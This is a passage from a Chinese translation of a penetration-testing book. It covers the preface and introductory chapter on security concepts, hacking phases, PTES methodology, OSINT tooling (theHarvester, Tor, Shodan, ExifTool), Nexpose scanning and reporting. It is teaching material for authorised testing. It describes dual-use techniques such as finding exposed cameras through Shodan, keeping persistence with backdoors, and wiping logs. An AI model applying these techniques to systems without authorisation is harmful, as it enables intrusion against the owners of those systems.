高级基础设施渗透测试(全)

高级基础设施渗透测试(全)

原文:annas-archive.org/md5/45BAA65013025C678E3A42A0CD4FCB67

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

高级基础设施渗透测试为您提供了进行渗透测试和评估企业安全状况所需的核心技能和技术。本书包含了利用现代信息技术基础设施的关键技术,提供了实际的经验。每一章都将带您了解攻击向量和系统防御,从基础知识到最新的前沿技术和实用工具。

本书的受众

如果您是系统管理员、SOC 分析师、渗透测试人员或网络工程师,并希望将您的渗透测试技能和安全知识提升到更高水平,那么本书适合您。具有渗透测试工具的实际经验和对 Linux 和 Windows 命令行语法的了解将是有益的。

本书涵盖的内容

第一章,高级基础设施渗透测试简介,向您介绍了渗透测试的不同方法和技术,并向您展示如何执行渗透测试程序。

第二章,高级 Linux 利用,解释了如何利用最新的前沿技术来利用 Linux 基础设施。

第三章,企业网络和数据库利用,为您提供了现实世界企业网络和数据库攻击的概述,以及有效保护网络的技术和程序。

第四章,Active Directory 利用,讨论了如何使用最新的工具和技术利用 Active Directory 环境。

第五章,Docker 利用,涵盖了大多数众所周知的利用 Docker 化环境的技术,并解释了如何防御 Docker 威胁。

第六章,利用 Git 和持续集成服务器,解释了如何防御主要的持续集成服务器威胁。

第七章,Metasploit 和 PowerShell 用于后渗透,展示了如何使用 Metasploit 和 PowerShell 进行后渗透,执行高级攻击。

第八章,VLAN 利用,解释了如何执行许多二层攻击,包括 VLAN 威胁。

第九章,VoIP 利用,涵盖了对 VoIP 系统的主要威胁,并讨论了 VoIP 协议。

第十章,不安全的 VPN 利用,帮助您从理论到实践地利用不安全的虚拟专用网络。

第十一章,路由和路由器漏洞,为您提供了有关路由协议和路由器的有趣概述,并向您展示如何利用和保护它们。

第十二章,物联网利用,提供了保护现代物联网项目和连接汽车的实用指南。

充分利用本书

为了从本书中获得最大收益,读者应具有一定的技术信息安全经验,并熟悉 Windows 和 Linux 中常见的管理工具。读者应该积极阅读本书;换句话说,接触新信息或工具后,强烈建议进行实践并寻找更多场景和能力。

设定一个目标并尝试使用本书或其中的一部分作为行动计划,以使您的基础设施更加安全。

以下是要求:

  • Microsoft Windows 操作系统

  • Kali Linux(已安装或托管在虚拟机中)

  • 2 GB RAM 或更多

  • 互联网接入

  • 支持 Kali Linux 的无线网卡或适配器

下载示例代码文件

您可以从您在www.packtpub.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packtpub.com/support并注册,以便文件直接发送到您的邮箱。

您可以按照以下步骤下载代码文件:

  1. www.packtpub.com登录或注册。

  2. 选择“支持”选项卡。

  3. 点击“代码下载和勘误”。

  4. 在搜索框中输入书名,然后按照屏幕上的说明进行操作。

文件下载后,请确保使用最新版本的解压缩或提取文件夹:

  • WinRAR/7-Zip for Windows

  • Zipeg/iZip/UnRarX for Mac

  • 7-Zip/PeaZip for Linux

本书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Advanced-Infrastructure-Penetration-Testing。我们还有其他来自丰富书籍和视频目录的代码包,可以在github.com/PacktPublishing/上找到。快去看看吧!

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以从www.packtpub.com/sites/default/files/downloads/AdvancedInfrastructurePenetrationTesting_ColorImages.pdf下载。

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:"将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘"。

代码块设置如下:

def intialize
super(
'Name' => 'TCP scanner',
'Version' => '$Revisiov: 1 $',
'Description' => 'This is a Demo for Packt Readers',
'License' => MSF_LICENSSE
)

当我们希望引起您对代码块的特定部分的注意时,相关的行或项目会以粗体显示:

def intialize
super(
'Name' => 'TCP scanner',
'Version' => '$Revisiov: 1 $',
'Description' => 'This is a Demo for Packt Readers',
'License' => MSF_LICENSSE
)

任何命令行输入或输出都是这样写的:

git clone https://github.com/laramies/theHarvester 

粗体:表示新术语、重要单词或者屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。例如:"要开始一个 Nexpose 扫描,打开一个项目,点击创建,选择站点,然后输入目标 IP 或 IP 范围开始扫描"。

警告或重要提示会以这种方式出现。

技巧和窍门会以这种方式出现。

第一章:高级基础设施渗透测试简介

安全是所有规模、所有行业的企业和组织的关键关注点。信息安全是一套流程、工具、政策和系统,用于保护免受可能损害或破坏信息资产的内部和外部威胁。本书是实践性的,旨在带领您掌握真实世界的技术,使您能够获得所需和高度需求的技能,从而进入新的渗透测试职业水平。每一章都设计得不仅让您学习模拟黑客攻击的方法、工具和技术,还让您拥有新的思维方式。在本章中,您将介绍最新的渗透测试策略和技术。它将详细介绍每个必要的步骤,以进行高效的渗透测试,并且能够基于行业公认的指标评估渗透测试报告。完成本章后,您将具备交付高标准和良好文档化的渗透测试报告的技能,通过练习收集任何目标信息的技术,甚至在深网中,超越自动化工具。

信息安全概述

在深入渗透测试之前,让我们先了解一些信息安全中的重要术语。信息安全的核心原则是机密性、可用性和完整性。这些原则构成了我们所谓的 CIA 三角。

机密性

机密性断言所有信息和数据只能被授权访问的人员访问。确保信息不会被未经授权的人披露是非常重要的。个人可识别信息PII)的盗窃是机密性攻击的一个例子。

完整性

完整性的目标是保护信息免受未经授权的修改;换句话说,数据的可信度。这意味着在每个信息处理过程中,数据必须保持一致、准确和可信。必须采取一些保护方法来检测数据的任何变化。

可用性

可用性旨在确保信息在需要时由授权用户可用。拒绝服务DoS)是可用性攻击的一个例子。高可用性集群和备份副本是用于对抗可用性攻击的一些缓解系统。

目前有许多信息安全定义。前面的定义是基于 ISO/IEC 27001 信息安全管理标准的。

最小权限和需要知道

最小权限和需要知道描述了授权用户在工作期间应被授予的最小访问和授权量。需要知道意味着用户必须有合法理由访问信息。

深度防御

深度防御,或分层安全,是一种使用多层安全线和控制的安全方法,一个深度防御方法的例子是使用来自不同供应商的多个防火墙来提高系统的安全性。

风险分析

信息安全专业人员的主要角色是评估企业资产(需要保护的资源)的风险,并实施安全控制以防范这些风险。分析风险是非常重要的技能,因为良好的判断力将使我们选择最佳的安全控制和保护机制,包括部署这些保障所需的财务资源。换句话说,一个错误的决定将会给企业带来巨额损失,甚至更糟糕的是客户数据的丢失。如果不了解威胁和漏洞,我们无法以定量方式计算风险。威胁是对我们的资产构成潜在危险的可能危险。漏洞是允许威胁采取负面行动的弱点。这两个术语及其之间的联系由公式风险=威胁*漏洞描述。

为了评估威胁和漏洞,您需要在一到五的范围内分配一个数字,例如。也可以使用另一个范围。有时,我们可以添加另一个名为影响的因素,它描述了造成的损害的影响。在其他情况下,它被表达为描述该影响成本的金额,因此公式可以表达为风险=威胁*漏洞*影响

为了进行定性和定量风险分析,我们可以使用澳大利亚/新西兰 4360 标准AS/NZS 4360)上的风险分析矩阵。

信息安全专业人员需要根据两个指标对风险进行分类:发生频率和事故严重程度。这种分类的结果将决定下一步的行动计划。因此,如果风险很高,他们必须通知高级管理人员。下一步是制定一项路线图,尽可能将每个风险降低到最低,如下所示:

信息保障

信息保障IA)指的是保证信息的机密性、完整性和可用性,并确保在信息处理的不同阶段中所有系统都受到保护。政策、指南、确定资源需求、确定漏洞和培训都是信息保障的形式。

信息安全管理计划

信息安全管理计划的主要目标是确保企业在降低风险的环境中运营。这意味着在整个过程中组织和运营方之间进行协作。信息安全管理框架ISMF)是一个以业务为驱动的框架(政策、程序、标准和指南),它帮助信息安全专业人员建立良好的安全水平。

黑客概念和阶段

黑客指的是未经授权访问系统以披露数据,在信息系统中利用漏洞。在本节中,我们将讨论黑客类型和黑客阶段。

黑客类型

我们可以根据黑客的意图将其分类。如果黑客的目的是损害或窃取信息,那么他们被归类为黑帽黑客。如果是安全专业人员的目标是保护系统的安全,那么他们被归类为白帽黑客。描述如下:

  • 黑帽黑客:这些是利用其计算机技能以恶意技术获取信息的个人或团体,出于各种原因,例如经济利益。

  • 白帽黑客:这些是信息安全专业人员。他们的主要角色是保护信息系统免受黑帽黑客的攻击。

  • 灰帽黑客:这些人既进行攻击又进行防御。

  • 脚本小子:通常是使用工具和脚本的技术不熟练的个人,不知道它们是如何工作的。

  • 黑客活动分子:这些是具有政治议程或捍卫某一事业的黑客。

黑客攻击阶段

要使黑客攻击成功,操作必须遵循一系列阶段。

侦察

在这第一阶段,在采取任何行动之前,攻击者必须通过对目标进行信息收集来做好准备。攻击者从多个来源收集每一条公开可用的敏感信息,如目标客户、员工和网络信息。在此阶段结束时,黑客将清楚地了解网络(域名、IP 范围、TCP/UDP 服务和认证机制)、系统(用户/组名称、系统横幅和系统架构)和组织信息(员工详细信息、新闻发布和位置)。侦察或足迹留下有两种类型。

被动侦察

被动侦察涉及在不直接与目标交互的情况下获取有关目标的信息,例如搜索公共信息。

主动侦察

主动侦察涉及与目标的互动,例如,致电技术支持以获取一些敏感信息。

侦察不仅仅是技术性的,它也是竞争情报的重要武器。了解目标的一些财务方面可能意味着攻击成功。

扫描

在收集了大量关于目标的信息后,黑客必须对其进行扫描,以揭示有关系统的有用信息,并将此信息用于下一阶段(获取访问权限阶段)。在此过程中,黑客将寻找不同类型的信息,并为此使用不同类型的扫描。

端口扫描

端口扫描是向目标发送数据包的过程,旨在通过已知端口号了解更多信息。端口扫描分为两类:TCP 扫描和 UDP 扫描。建议使用 Nmap 进行端口扫描,它是一个开源端口扫描器和网络探测工具。

网络扫描

网络扫描描述了定位网络上所有活动主机的过程。扫描一系列 IP 地址是一种网络扫描。发现活动主机的基本技术是 ping 扫描。它简单地向一系列 IP 地址的多个主机发送 ICMP 回显请求。Hping2是一个用于 TCP/IP 协议的简单命令行网络扫描器。

漏洞扫描

在此子阶段,攻击者试图识别目标的弱点。这种类型扫描的主要目的是找到潜在的系统利用方式。有各种漏洞扫描工具,如 Nessus、Nexpose 和许多其他扫描器。

获取访问权限

在此阶段,攻击者已经具备发动攻击所需的一切,包括 IP 范围、已识别的系统、服务、用户列表、安全漏洞和流量。现在他们只需要绕过安全控制来获取系统访问权限,使用多种技术,如破解密码、社会工程或权限提升,并获取其他用户权限。

保持访问

大多数情况下,黑客攻击的目的不仅仅是通过未经授权的访问获取信息,还包括保持这种访问。每天,攻击者都在想出新的方法来保持访问。最著名的技术是隐藏文件,以避免被系统所有者和用户发现。

清除痕迹

每次成功的黑客攻击的最后阶段是清除痕迹。在获取访问权限并滥用网络后,黑客必须清除痕迹以避免被追踪和抓捕。为此,黑客清除与攻击相关的所有日志和恶意软件。在此阶段,黑客将禁用审计并清除和操纵日志。黑客攻击的阶段顺序如下:

渗透测试概述

根据定义,渗透测试是模拟外部和内部攻击。渗透测试的主要目标是增强组织的安全位置。

渗透测试类型

渗透测试分为三类:

  • 白盒渗透测试

  • 黑盒渗透测试

  • 灰盒渗透测试

白盒渗透测试

在白盒渗透测试期间,或者有时被称为完全知识测试,组织会给渗透测试人员所有必要的信息。当组织希望对其安全性进行全面审计并最大化测试时间时,会使用这种类型的渗透测试。可以在任何时候进行以检查其安全位置。在进行渗透测试之前提供的信息可能包括但不限于以下内容:

  • 网络信息:网络拓扑和图表,IP 地址,入侵检测系统,防火墙和访问信息

  • 基础设施:渗透测试人员可以获得硬件和软件信息

  • 政策:这非常重要,因为每个渗透测试人员都必须确保渗透测试方法与组织的政策一致

  • 当前安全状态,包括以前的渗透测试报告

黑盒渗透测试

在黑盒渗透测试会话中,渗透测试人员模拟真实世界的攻击以获取对系统或 IT 基础设施的访问权限。因此,他选择了一种没有关于组织的信息和基础设施的先验知识的渗透测试方法。这种类型的渗透测试非常有效,因为渗透测试人员戴着黑帽子,并使用黑帽骇客的技术来绕过组织的安全防护。它是从黑帽骇客的角度进行的。因此,他们使用指纹识别技术来发现有关组织的一切。

灰盒渗透测试

灰盒渗透测试涉及模拟内部人员的攻击。渗透测试人员只能获得部分和有限的信息,就像普通用户一样。这种测试介于黑盒和白盒渗透测试之间。

渗透测试团队

红队评估和蓝队评估是受军事战略启发的两个概念。

红队

红队的角色很明确。他们通常有一个特定的任务,即测试组织的物理和数字安全的当前状态。红队的成员具有攻击性的心态。他们试图攻击特定的区域。

蓝队评估

蓝队是防御层。他们的任务是防御红队的攻击。一般来说,他们是内部安全团队。

紫队

为了确保有效的渗透测试,创建了一个名为紫队的新团队。这个团队有一种有效的方法,可以使红队和蓝队之间的沟通更清晰,如下图所示:

渗透测试和红队评估之间存在区别。红队评估类似于渗透测试,但其范围更大,在红队评估任务中,目的不是发现所有的漏洞,而是找到能让他们实现目标的正确漏洞

渗透测试标准和指导方针

在深入研究渗透测试标准和指南之前,我们需要定义一些重要的术语,以避免对四个不同术语:政策、标准、程序和指导方针产生任何混淆或误解。所有这些术语在信息安全管理中都起着重要作用,但清楚理解它们之间的区别对于避免错误使用它们是至关重要的。

政策

政策是高级管理层成员编写的文件,指定组织中每个个人的责任和所需行为。一般来说,政策很简短,不指定操作系统和供应商等技术方面。如果组织很大,政策可以分为子政策。其中一个知名的信息安全政策是 COBIT 5 信息安全政策集,如下所示:

标准

标准是组织如何执行政策的低级描述。换句话说,它们用于维护最低有效网络安全水平。它们也是强制性的。

程序

程序是详细文件,描述了特定任务中所需的每个步骤,比如创建新用户或重置密码。每个步骤都是强制性的。这些程序必须与组织的政策保持一致。

指导

指导或指南是一组来自实践经验丰富的人和机构的推荐提示和有用建议。渗透测试人员遵循许多标准和指南。以下是一些知名的标准或指南,以及每个标准或指南所需的步骤。

开放源安全测试方法手册

开放源安全测试方法手册(OSSTMM)是由 Pete Herzog 发布的一份全面文件,并由安全和开放方法学院(ISECOM)分发。根据 OSSTMM,每次渗透测试都应包括信息、流程、互联网技术(端口扫描、防火墙等)、通信、无线和物理环境的安全测试。

信息系统安全评估框架

信息系统安全评估框架(ISSAF)是一种方法,渗透测试人员在模仿黑客步骤的同时进行一些额外的阶段。它经历以下阶段:

  • 信息收集

  • 网络映射

  • 漏洞识别

  • 渗透

  • 获取访问权限和特权升级

  • 进一步列举

  • 妥协远程用户/站点

  • 保持访问

  • 覆盖踪迹

渗透测试执行标准

渗透测试执行标准(PTES)是一组技术部分。它通过以下七个部分帮助渗透测试人员提供有效的渗透测试报告:

  • 前期互动

  • 情报收集

  • 威胁建模

  • 漏洞分析

  • 利用

  • 后期利用

  • 报告

支付卡行业数据安全标准

支付卡行业数据安全标准(PCI DSS)是计划与主要信用卡品牌合作的组织的重要参考。它于 2014 年发布。它用于确保信用卡持有人数据的安全,并避免欺诈。合规性每年由 PCI 安全标准委员会提供的合格安全评估员进行,或者对于小数据量情况,由内部进行。PCI DSS 经历以下四个阶段:

  • 前期参与

  • 参与:渗透测试

  • 后期参与

  • 报告和文档

渗透测试步骤

渗透测试基本上经历了多个步骤,根据所选择的方法论。在我们的情况下,我们将根据 PTES 研究每个阶段。

前期参与

在进行渗透测试之前,渗透测试人员和客户之间应该建立预先交流。这是一个非常重要的阶段,因为你可以将渗透测试视为一个信息技术项目。像任何 IT 项目一样,它需要很强的规划能力。渗透测试不是一系列技术步骤,而是需要许多管理和组织技能。有效的渗透测试将从与客户的会议开始,以充分了解他们所有的需求和愿景。作为会议的结果,将制定一个测试计划。它将详细描述渗透测试的进行方式。在预先交流阶段需要注意许多重要的事项。

目标和范围

它详细说明了渗透测试的目标,包括范围(IP 地址和主机)。一般来说,它还包括要测试的资产和禁止测试的内容。预先交流还必须包括渗透测试任务的时间段。

脱离监狱卡

黑客行为是非法的,所以你需要确保所有的工作都是合法进行的。通常由高级经理签署的“脱离监狱卡”就足以让你摆脱麻烦。这里的“卡”是双方之间应该解决法律问题的合同。

紧急联系信息

为了避免在发现严重问题时出现恐慌情况,预先定义的联系信息列表是一个很好的主意,可以确保在需要时有一个快速有效的沟通渠道。例如,如果由于密集的自动化工具而出现了网络流量过大的问题,你需要联系网络工程师。

为了避免这种不便,最好在进行渗透测试之前与利益相关者讨论在这种情况下的支持可用性。

付款信息

付款信息指示了渗透测试的付款条款。在讨论测试的时间表时,渗透测试人员还应该讨论付款安排。在谈判过程中,可以讨论付款结构,例如在交付最终报告后付款,进行渗透测试之前预付一半金额,或者根据付款计划进行付款。协议中也可以添加非付款惩罚。

保密协议

签署保密协议(NDA)的目的是让渗透测试人员承诺保护所有机密信息和发现。在渗透测试期间,你将接触到不同分类等级的一定数量的数据。因此,签署文件以向高层管理层保证所有收集到的信息都是受保护的是明智的决定。

情报收集

情报收集阶段是指渗透测试人员从公共来源搜索有关组织的所有可用信息的阶段。在这个阶段结束时,他将清楚地了解网络(域名、IP 范围、TCP/UDP 服务和认证机制)、系统(用户/组名称、系统横幅和系统架构)以及组织信息(员工详细信息、新闻发布和位置)。这取决于渗透测试的类型(黑盒、白盒或灰盒)。实施良好的情报收集方法将有助于后续步骤的工作。

情报收集的燃料是从不同来源获取公开可用的信息。情报收集对于信息安全和渗透测试并不重要,但对于国家安全至关重要,许多概念受到军事战略的启发,在网络安全领域,情报收集也受到战场的启发。但在渗透测试的情境中,这个阶段的所有技术都应该是合法的,因为良好的意图并不意味着违法,这就是为什么我们说公开可用的信息。如果不是,这种情况将被视为工业间谍行为。根据国际贸易委员会的估计,由于企业间谍活动,美国工业每年的损失超过 700 亿美元。

情报收集不仅有助于提高组织的安全地位,而且使管理者对竞争有了更清晰的认识,并导致更好的商业决策。基本上,每个情报收集操作都是按照结构化的方法进行的。

公开情报

公开情报是收集有关目标的所有可能信息的过程,使用公开可用的来源,不仅搜索,还归档。这个术语通常被政府机构用于国家安全行动。渗透测试人员也应该采用这种思维方式,并获得收集和分类信息所需的技能。在大量数据的时代,从中提取有用信息的能力是必不可少的。

社会工程攻击

社会工程攻击是指员工或其他人在心理上被欺骗以提供敏感信息。社会工程是操纵人们以获取有关用户的信息,以确定敏感信息,如登录凭据或机密信息的艺术。以一种欺骗性的方式利用人类的信任等人类品质总是表明人类是信息安全中最薄弱的层面。社会工程技术之一是网络钓鱼,这是社会工程的一种技术方法。众所周知,网络钓鱼是发送一封看似来自合法机构的电子邮件或短信,诱使用户输入其登录凭据。针对性网络钓鱼是相同的技术,但范围更具体,例如向高调联系人的短名单发送网络钓鱼邮件

物理分析

在信息安全领域,物理安全非常关键。识别物理设备在情报收集中起着重要作用。

信息系统和网络分析

这种技术搜索有关目标的信息,包括网络服务、设备、域和信息系统信息。

有许多情报收集类别:人类情报、信号情报、公开情报、图像情报和地理空间情报。

人类情报

人类情报HUMINT)是收集有关人类目标的信息的过程,无论是否与他们互动,都使用许多技术,如拍照和录像。人类情报有三种模式:

  • 定向收集:这是一个特定的定位操作。通常,所有资源都旨在收集有关唯一目标的信息

  • 主动情报收集:这个过程更具体,需要更少的投资,针对特定环境。

  • 被动情报收集:这是人类情报的基础。信息是通过机会方式收集的,如通过走访或推荐。因此,除了收集信息并试图找到一些东西外,没有特定的目标。

信号情报

信号情报SIGINT)是通过拦截电子信号和通信来收集信息的操作。它可以分为两个子类别:通信情报COMINT)和电子情报ELINT)。

开源情报

开源情报OSINT),顾名思义,涉及使用在线可用的来源查找有关特定目标的信息。可以使用许多技术来完成:

  • 在许多搜索引擎中进行搜索查询

  • 从社交媒体网络中获取信息

  • 深网目录和隐藏维基中进行搜索

  • 使用论坛和讨论板

例如,如果你想搜索特定的员工,你可以使用 theHarvester 工具,它将帮助找到关于这个人的所有公开信息。

你可以从 GitHub 仓库中获取 theHarvester,使用你的控制台输入以下命令:

git clone https://github.com/laramies/theHarvester 

然后,输入./theHarvester来运行脚本。

例如,如果你想使用 Google 搜索收集关于targetwebsite的信息,只需运行以下命令:

theharvester -d   targetwebsite.org  -l 100 -b google 

这里,-l选项是结果的有限数量,-b表示搜索引擎。在我们的情况下,我们使用了 Google 搜索引擎:

你知道已知的网络只占互联网的 4%。还有另一个空间叫做深网。它包含 7500 太字节的信息,意味着超过 5000 亿页。

从隐藏网络中收集信息是一个优势,不仅用于侦察目的,还用于竞争情报。要访问深网,你只需从其官方网站www.torproject.org/下载 Tor 浏览器并安装它。打开浏览器,点击连接以访问网络:

现在,你正在浏览隐藏的网络。你可以使用隐藏维基上的 Tor 网站,从这个链接wiki5kauuihowqi5.onion(它们表示为DomainName.onion),或者简单地使用 DuckDuckGo 搜索引擎:

不仅可以搜索个人可识别信息,还可以搜索在线设备甚至工业控制系统。例如,你可以检查www.shodan.io. 这个搜索引擎将帮助你找到在线设备。以下截图是通过Shodan.io搜索到的关于风力涡轮机的公开信息:

为了发现 Shodan 搜索引擎的巨大潜力,让我们来一窥这个巨人的力量。首先,去www.shodan.io创建一个新账户:

使用搜索栏输入搜索查询,或者你可以简单地点击预定义的类别:Netcams、默认密码、dreambox、工业控制系统等。这是最受欢迎的搜索标签的一部分:

让我们以 Netcams 为例进行演示。根据以下截图,搜索引擎至少找到了 8632 个公开可用的 Netcam 信息源,包括它们的 IP 地址和关于它们的详细描述:

此外,你可以使用实时地图来搜索在线设备,比如路由器:

图像情报

在战场上,图像情报IMINT)是分析来自不同来源和设备的图像和视频的过程,比如电子显示图像和红外摄像头。在渗透测试中,图像情报也是以同样的方式工作,它是使用来自不同公共资源的不同照片和视频来识别有关目标的信息的操作:

  • 社交媒体(Facebook、LinkedIn 等)视频

  • 为其他版本反向搜索照片

  • 直播流

有许多图像分析工具可以用来从图像中提取数据。其中之一是 ExifTool。它是一个小工具,用于提取有关指定图像的有趣信息。就像下面的图表一样,只需从此链接下载 ExifTool,www.sno.phy.queensu.ca/~phil/exiftool/,然后键入./exiftool image.png

地理空间情报

地理空间情报GEOINT)是利用和分析图像和地理空间信息来描述、评估和可视化指定区域。地理空间情报这个术语已经与信息安全和渗透测试联系在一起。识别和收集有关组织的信息将使渗透测试人员能够预测组织的物理入侵。因此,渗透测试人员的角色是确保数据和敏感信息免受外部威胁。

有许多可用的来源可用于检查地理空间信息。Google 地图是谷歌提供的免费地理空间服务。以下是使用 Google 地图查询的结果:

威胁建模

威胁建模是一种安全方法,用于识别针对组织基础设施的威胁。在信息安全领域,建模和量化总是明智的决定,特别是在渗透测试中。以真实的方式衡量威胁将有助于渗透测试人员做出良好的决策。这种结构化方法的目标是使用与组织业务需求一致的方法,识别和排名威胁和资产,然后对其进行映射。

为了进行有效的威胁建模,渗透测试人员需要经历五个分析步骤。

业务资产分析

在业务资产分析期间,渗透测试人员通过收集与资产相关的任何文件,并在其他情况下,在组织内进行采访来聚焦资产。这可能包括以下信息:

  • 基础设施设计

  • 系统配置

  • 用户帐户凭据

  • 特权用户帐户凭据

有关技术资产的信息不足以获得有效的建模。渗透测试人员应收集有关组织的所有政策和程序的信息,有时还需要组织计划。

业务流程分析

业务是信息安全的中心。明智的信息安全分析肯定会确保组织以适当的方式运作并产生收入。与业务流程有关的所有资产都需要被映射和分析,从最关键的资产开始。以下是资产:

  • 信息资产

  • 人力资产

  • 第三方资产

威胁代理分析

在这种类型的分析中,基于位置度量的所有威胁都被映射。我们可以将威胁分为两类——内部和外部威胁。组织的员工,包括高层管理人员,也是这一分类的一部分,因为在信息安全方面,人类是最薄弱的层。

威胁能力分析

在对威胁代理有清晰的理解之后,现在是时候检查是否有任何可用的工具、利用和当前可能用于针对组织基础设施的通信机制的有效载荷。

动机建模

渗透测试人员可以对攻击背后的动机进行建模。在竞争激烈的环境和不稳定的业务中,动机建模应该被添加到渗透测试人员的检查表中。

漏洞分析

威胁对人们和组织来说是一个严重的问题。对漏洞分析有清晰的理解对于确保采取明智的管理决策并建立安全环境至关重要,以正确识别和减轻潜在威胁。不幸的是,这对信息专业人员来说仍然是一个具有挑战性的领域,因为威胁变得越来越复杂,每天都很难检测到。漏洞评估是识别、衡量和分类信息系统中的漏洞的过程。漏洞分析是每个渗透测试人员的关键技能。

在进行漏洞评估时存在一个很大的误解。许多渗透测试人员将漏洞分析与渗透测试混淆。事实上,渗透测试是模拟攻击,而漏洞评估旨在识别特定领域的漏洞。您可以将其视为扫描操作。

漏洞管理生命周期经历以下六个主要阶段:

  • 识别和发现:在此阶段,渗透测试人员试图识别讨论范围内的所有资产,包括开放服务和操作系统,并尝试使用自动化工具和漏洞扫描程序检测信息系统中的常见潜在漏洞。

  • 优先级和分类:渗透测试人员根据敏感性标准或类别对资产进行优先级排序。您还可以使用排名系统对漏洞进行优先级排序,例如使用通用漏洞评分系统CVSS)评分通用漏洞和暴露CVE)漏洞。

  • 评估:这涉及记录分析的风险。渗透测试人员必须在评估过程后对风险接受做出决定。在进行漏洞评估时,您需要验证每个发现的漏洞。使用漏洞扫描程序检测潜在漏洞非常重要,但渗透测试人员需要验证每一个漏洞,以避免误报和错误标记。

  • 报告:在此阶段,渗透测试人员展示了进行的漏洞评估的结果,包括问题数量和趋势,以及获得的图形表示。

  • 修复:这是一个包括建议和修复漏洞所需的步骤的详细路线图,不仅在技术上,还可能包括预算、时间段、排名等。

  • 验证:最后一步涉及在跟进检查后验证修复的漏洞:

使用 Nexpose 进行漏洞评估

目前有许多漏洞管理工具可供选择,可以帮助渗透测试人员进行漏洞评估任务,例如 Beyond Security、Qualys、Core Security 等工具。其中最著名的漏洞管理工具之一是 Rapid7 的 Nexpose。Nexpose 评估了定义基础设施中的漏洞。

安装 Nexpose

您可以按照以下步骤安装 Nexpose:

  • 填写所需信息并进行下一步:

开始 Nexpose

要使用 Nexpose,只需转到http://localhost:3780并输入您的凭据。

开始扫描

要开始 Nexpose 扫描,打开一个项目,点击“创建”并选择站点,然后输入目标 IP 或 IP 范围开始扫描:

扫描完成后,您可以生成扫描报告:

利用

到了这个阶段,渗透测试人员已经拥有了发动攻击所需的一切。现在他只需要绕过安全控制来获得对基础设施系统的访问权限。在这个阶段,渗透测试人员戴上黑帽子,试图从恶意黑客的角度获得对基础设施的访问权限。经过良好的威胁分析,现在是利用每一个漏洞的时候了。为了利用这些漏洞,你可以使用各种自动化工具和手动测试。最著名的利用工具是 Metasploit,这是每个渗透测试人员必备的武器。

要探索漏洞,用户可以使用show exploits命令。

后期利用

获得 root 权限并不是终点。正如之前讨论的,保持访问权限是黑客方法论中的一个重要阶段,因此后期利用不仅需要保持访问权限,还需要扩散到基础设施中,进一步威胁系统。这个阶段至关重要;渗透测试人员模拟了一次高级攻击;因此,在进行后期利用之前应该达成一致的规则。这显示并支持了第一个渗透测试阶段(前期约定)的重要性,以保护你的客户,当然也是为了保护自己。

根据渗透测试执行标准,后期利用阶段应该经过六个部分。

基础设施分析

网络是每个现代组织和机构的支柱。因此,基础设施分析将从识别以下内容开始:

  • 在范围内的每个网络接口

  • 路由信息

  • DNS 服务器和缓存的 DNS 查询

  • 代理服务器

  • ARP 条目

不仅是网络信息,还有识别网络服务也是至关重要的。它们包括以下内容:

  • 监听服务

  • VPN 连接

  • 使用诸如思科发现协议和链路层发现协议等协议绘制邻居设备的地图

掠夺

根据定义,掠夺是从系统中收集所有可能的信息。比如,知道数据的位置可以帮助预测枢纽技术。为了进行有效的渗透测试,你需要收集所有,而不仅仅是以下信息:安装的软件和服务:

  • 打印机共享和安全服务

  • 数据库服务器

  • 目录服务器

  • 证书颁发机构服务

  • 代码管理服务器

  • 虚拟化服务

大多数这些服务的利用将在接下来的章节中详细讨论。

高级别目标

从黑客的角度来看,高级别的目标非常令人向往。作为渗透测试人员,你的工作是把他们列为首要目标,因为攻击高级别可能会导致业务部门的受损。不要忘记,好奇心和挑战精神是黑客的动机。这就是为什么 C 级别的人物成为高度被攻击的目标。

数据外泄

在数据外泄期间,渗透测试人员会绘制所有外泄路径。这一步的目的是确保没有数据以隐秘的方式离开组织。分析数据流是至关重要的,因为数据是黑客关注的中心。

持久性

后门和 meterpreter 是确保持久性的常见技术,即使在系统重新启动后也是如此。此外,创建具有复杂密码的新帐户将为你赢得一些存在时间。

进一步渗透基础设施

好奇心是一把双刃剑。它是我们作为人类的一部分。对于一个饥饿的黑客来说,持续的攻击还不够。因此,渗透测试人员将寻找进一步的技术来威胁更多的系统和基础设施,以获得更多的访问权限。其中一些技术包括:

  • Ping 扫描

  • 内部 DNS 枚举

  • 安装上传程序

  • 服务枚举

  • 端口转发

  • VPN 到内部网络的枢纽

清理

最后,渗透测试人员必须清理受损系统中使用的脚本、二进制文件、新帐户和配置,这是在先前的后渗透步骤中进行的。

报告

渗透测试的最后阶段是报告。这是一个可交付的文件,包括渗透测试任务期间进行的所有发现和过程。这一步非常重要,有很多原因。渗透测试人员需要编写一份清晰的报告,以便每个细节都可以在另一个时间重新测试。此外,它应该能够被管理层理解。每份报告都必须对技术和非技术方面都非常清晰和有意义。为了为不同类型的人获得良好的渗透测试报告,它应包含以下部分。

执行摘要

本节对发现进行了高层次的概述,并指定了渗透测试的主要目标。本节的目标受众是高层管理人员,因为他们更关心组织的安全,而不是技术细节。这就是为什么在执行摘要中不建议提及发现的技术规格。执行摘要包括以下内容:

  • 背景解释了渗透测试的目的,并解释了一些技术术语,如果需要的话,供高层管理人员参考。高层管理人员在阅读背景后,将对渗透测试的目标和预期结果有清晰的了解。

  • 整体位置,涉及测试的有效性,通过突出一些安全问题,例如根据 PTES 标准,企业缺乏有效的补丁管理流程。

  • 风险评分是基于预定义评分系统在预先参与阶段的风险排名的概述。通常,我们使用高/低评分指标或数字刻度。

  • 建议摘要指定了解决前述安全问题所需的步骤和方法。

  • 战略路线图指示了一个基于有序目标的详细的短期到长期的路线图,以增强组织的安全性。

技术报告

本节是为技术经理和信息技术人员准备的。它包括有关所有已执行步骤和操作的详细信息。它的结构如下:

  • 介绍

  • 信息收集

  • 漏洞评估

  • 漏洞确认

  • 后渗透

  • 风险/暴露

  • 总结以对测试进行最终概述

渗透测试的限制和挑战

